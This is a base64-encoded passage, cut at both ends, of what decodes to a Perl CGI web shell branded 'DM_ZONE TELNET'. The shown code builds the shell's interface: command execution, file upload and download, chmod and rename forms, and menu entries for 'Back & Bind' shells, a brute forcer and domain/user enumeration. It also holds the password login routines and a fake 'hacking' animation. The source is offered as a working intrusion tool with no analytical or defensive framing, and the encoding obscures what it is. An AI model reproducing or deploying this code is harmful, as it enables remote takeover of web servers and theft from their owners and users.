lwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCgkvKnZhciBhamF4PSdhamF4X1Bvc3REYXRhKCJGb3JtUGVybXNfJytpKyciLCIkU2NyaXB0TG9jYXRpb24iLCJSZXNwb25zZURhdGEiKTsgcmV0dXJuIGZhbHNlOyc7Ki8NCgl2YXIgYWpheD0iIjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpDQp7DQoJcmVzcG9uc2UuaW5uZXJIVE1MID0gIjxzcGFuIG9uY2xpY2s9XFxcImNobW9kX2Zvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiID4iKyBwZXJtcyArIjwvc3Bhbj48L3RkPiI7DQp9DQpmdW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCgl2YXIgYWpheD0iIjsNCglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsNCgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixcXFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJaWYoZj09J2YnKQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kZGlyJmM9ZWRpdCUyMCIrZmlsZSsiJTIwJz4iICtmaWxlKyAiPC9hPiI7DQoJfWVsc2UNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1ndWkmZD0iK2YrIic+WyAiICtmaWxlKyAiIF08L2E+IjsNCgl9DQp9DQo8L3NjcmlwdD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMGMwYzBjIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPg0KPGNlbnRlcj48Y29kZT4NCjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPg0KPHRyPg0KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+DQoJCTxiPjxmb250IHNpemU9IjUiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+DQoJPC90ZD4NCg0KCTx0ZD4NCg0KCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4NCgk8L3RkPg0KCTx0ZD5TZXJ2ZXIgSVA6PGZvbnQgY29sb3I9IiNjYzAwMDAiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSIjMDAwMDAwIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250Pg0KCTwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIzIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkNvbW1hbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVkQ3VycmVudERpciI+R1VJPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCg0KPC9mb250PjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxmb250IGlkPSJSZXNwb25zZURhdGEiIGNvbG9yPSIjZmY5OWNjIiA+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCg0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCg0KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+DQo8dGJvZHk+PHRyPg0KPHRkIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJodHRwOi8vZGwuZHJvcGJveC5jb20vdS8xMDg2MDA1MS9pbWFnZXMvbWF0cmFuLmdpZiI+PHAgaWQ9ImhhY2siIHN0eWxlPSJtYXJnaW4tbGVmdDogM3B4OyI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBUcnlpbmcgY29ubmVjdCB0byBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PC9mb250PiBDaGVja2luZyBTZXJ2ZXIgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLjwvZm9udD4gPGJyPg0KDQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KDQo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD5cJCBDb25uZWN0ZWQgQ29tbWFuZCEgPC9mb250Pjxicj4NCjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0tFIENPSyAhISE8L2ZvbnQ+DQo8L3RyPg0KPC90Ym9keT48L3RhYmxlPg0KPGJyPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsNClR5cGluZ1RleHQucnVuQWxsKCk7DQoNCjwvc2NyaXB0Pg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7DQoJbXkgJHRleHQgPSBzaGlmdDsNCgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsNCgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7DQoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii4kcGF0aC4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGJyPkxvZ2luIDogRE1fWk9ORTxicj4NCg0KUGFzc3dvcmQgU2FsYWggQ29rIDpwPGJyPjxicj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCkxvZ2luIDogRE1fWk9ORTxicj4NClBhc3N3b3JkOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iID4+ICI+DQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8YnI+PGZvbnQgY29sb3I9cmVkPm8tLS1bICBETV9aT05FIFRFTE5FVCAgXS0tLW88L2ZvbnQ+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9nb3V0U2NyZWVuDQp7DQoJcHJpbnQgIkxPRyBPVVQgU1VLU0VTIENPSyA6UDxicj48YnI+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcml